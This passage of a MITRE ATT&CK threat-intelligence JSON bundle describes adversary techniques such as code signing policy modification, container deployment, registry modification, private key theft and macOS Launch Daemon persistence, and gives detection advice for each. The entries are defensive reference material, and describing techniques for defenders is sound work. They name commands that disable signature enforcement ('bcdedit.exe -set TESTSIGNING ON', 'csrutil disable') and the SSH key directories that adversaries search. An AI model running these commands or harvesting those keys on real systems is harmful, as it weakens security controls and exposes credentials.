            "id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "created": "2021-04-23T01:04:57.161Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/006",
                    "external_id": "T1553.006"
                },
                {
                    "source_name": "Apple Disable SIP",
                    "description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.",
                    "url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection"
                },
                {
                    "source_name": "F-Secure BlackEnergy 2014",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf"
                },
                {
                    "source_name": "FireEye HIKIT Rootkit Part 2",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210920172620/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html"
                },
                {
                    "source_name": "Microsoft Unsigned Driver Apr 2017",
                    "description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test"
                },
                {
                    "source_name": "Microsoft DSE June 2017",
                    "description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Microsoft TESTSIGNING Feb 2021",
                    "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option"
                },
                {
                    "source_name": "Unit42 AcidBox June 2020",
                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
                },
                {
                    "source_name": "GitHub Turla Driver Loader",
                    "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.",
                    "url": "https://github.com/hfiref0x/TDL"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:33.055Z",
            "name": "Code Signing Policy Modification",
            "description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Abel Morales, Exabeam"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as <code>bcdedit.exe -set TESTSIGNING ON</code>.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as <code>HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing</code>. Modifications to the code signing policy of a system are likely to be rare.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92",
            "created": "2021-03-29T16:51:26.020Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1610",
                    "external_id": "T1610"
                },
                {
                    "source_name": "AppSecco Kubernetes Namespace Breakout 2020",
                    "description": "Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume \u2014 Part 1. Retrieved January 16, 2024.",
                    "url": "https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"
                },
                {
                    "source_name": "Aqua Build Images on Hosts",
                    "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
                    "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
                },
                {
                    "source_name": "Docker Containers API",
                    "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container"
                },
                {
                    "source_name": "Kubernetes Workload Management",
                    "description": "Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024.",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/"
                },
                {
                    "source_name": "Kubeflow Pipelines",
                    "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.",
                    "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/"
                },
                {
                    "source_name": "Kubernetes Dashboard",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-15T19:58:33.230Z",
            "name": "Deploy Container",
            "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\n\nContainers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Pawan Kinger, @kingerpawan, Trend Micro",
                "Alfredo Oliveira, Trend Micro",
                "Idan Frimark, Cisco",
                "Center for Threat-Informed Defense (CTID)",
                "Magno Logan, @magnologan, Trend Micro",
                "Ariel Shuper, Cisco",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team",
                "Joas Antonio dos Santos, @C0d3Cr4zy"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Container: Container Start",
                "Application Log: Application Log Content",
                "Pod: Pod Creation",
                "Container: Container Creation",
                "Pod: Pod Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
            "created": "2017-05-31T21:31:17.915Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1107",
                    "external_id": "T1107"
                },
                {
                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:34.606Z",
            "name": "File Deletion",
            "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Walker Johnson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1145",
                    "external_id": "T1145"
                },
                {
                    "source_name": "Wikipedia Public Key Crypto",
                    "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Public-key_cryptography"
                },
                {
                    "source_name": "Kaspersky Careto",
                    "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
                    "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf"
                },
                {
                    "source_name": "Palo Alto Prince of Persia",
                    "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:34.784Z",
            "name": "Private Keys",
            "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "created": "2017-05-31T21:31:23.587Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1112",
                    "external_id": "T1112"
                },
                {
                    "source_name": "CISA Russian Gov Critical Infra 2018",
                    "description": "CISA. (2018, March 16). Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved March 24, 2025.",
                    "url": "https://www.cisa.gov/news-events/alerts/2018/03/15/russian-government-cyber-activity-targeting-energy-and-other-critical-infrastructure-sectors"
                },
                {
                    "source_name": "CISA LockBit 2023",
                    "description": "CISA. (2023, March 16). #StopRansomware: LockBit 3.0. Retrieved March 24, 2025.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a"
                },
                {
                    "source_name": "Avaddon Ransomware 2021",
                    "description": "Javier Yuste and Sergio Pastrana. (2021). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved March 24, 2025.",
                    "url": "https://arxiv.org/pdf/2102.04796"
                },
                {
                    "source_name": "Microsoft BlackCat Jun 2022",
                    "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
                },
                {
                    "source_name": "Microsoft Reg",
                    "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx"
                },
                {
                    "source_name": "Microsoft Remote",
                    "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx"
                },
                {
                    "source_name": "Microsoft 4657 APR 2017",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657"
                },
                {
                    "source_name": "SpectorOps Hiding Reg Jul 2017",
                    "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.",
                    "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353"
                },
                {
                    "source_name": "Microsoft Reghide NOV 2006",
                    "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/reghide"
                },
                {
                    "source_name": "Microsoft RegDelNull July 2016",
                    "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.",
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull"
                },
                {
                    "source_name": "TrendMicro POWELIKS AUG 2014",
                    "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/"
                },
                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:33.486Z",
            "name": "Modify Registry",
            "description": "Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.\n\nAccess to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification.(Citation: Microsoft Reg) Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.\n\nThe Registry may be modified in order to hide configuration information or malicious payloads via [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).(Citation: Unit42 BabyShark Feb 2019)(Citation: Avaddon Ransomware 2021)(Citation: Microsoft BlackCat Jun 2022)(Citation: CISA Russian Gov Critical Infra 2018) The Registry may also be modified to [Impair Defenses](https://attack.mitre.org/techniques/T1562), such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.(Citation: CISA LockBit 2023)(Citation: Unit42 BabyShark Feb 2019)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system.(Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.\n\nFinally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API.(Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.(Citation: TrendMicro POWELIKS AUG 2014)(Citation: SpectorOps Hiding Reg Jul 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Bartosz Jerzman",
                "Travis Smith, Tripwire",
                "David Lu, Tripwire",
                "Gerardo Santos"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Process: OS API Execution",
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Deletion",
                "Windows Registry: Windows Registry Key Creation",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
            "created": "2020-01-17T19:23:15.227Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1543/004",
                    "external_id": "T1543.004"
                },
                {
                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "LaunchDaemon Hijacking",
                    "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.",
                    "url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/"
                },
                {
                    "source_name": "WireLurker",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
                },
                {
                    "source_name": "launchd Keywords for plists",
                    "description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.",
                    "url": "https://www.real-world-systems.com/docs/launchdPlist.1.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
                    "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
                },
                {
                    "source_name": "sentinelone macos persist Jun 2019",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:33.604Z",
            "name": "Launch Daemon",
            "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for new files added to the <code>/Library/LaunchDaemons/</code> folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the <code>RunAtLoad</code> parameter set to true, ensure the <code>Program</code> parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as <code>Program</code> and <code>ProgramArguments</code> parameters but one must be present.(Citation: launchd Keywords for plists)\n\n",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "File: File Modification",
                "Service: Service Modification",
                "Command: Command Execution",
                "Service: Service Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d",
            "created": "2020-08-20T17:51:25.671Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1580",
                    "external_id": "T1580"
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                    "url": "https://expel.io/blog/finding-evil-in-aws/"
                },
                {
                    "source_name": "AWS Head Bucket",
                    "description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.",
                    "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html"
                },
                {
                    "source_name": "AWS Get Public Access Block",
                    "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
                    "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html"
                },
                {
                    "source_name": "AWS Describe DB Instances",
                    "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
                    "url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html"
                },
                {
                    "source_name": "Amazon Describe Instance",
                    "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"
                },
                {
                    "source_name": "Amazon Describe Instances API",
                    "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html"
                },
                {
                    "source_name": "Google Compute Instances",
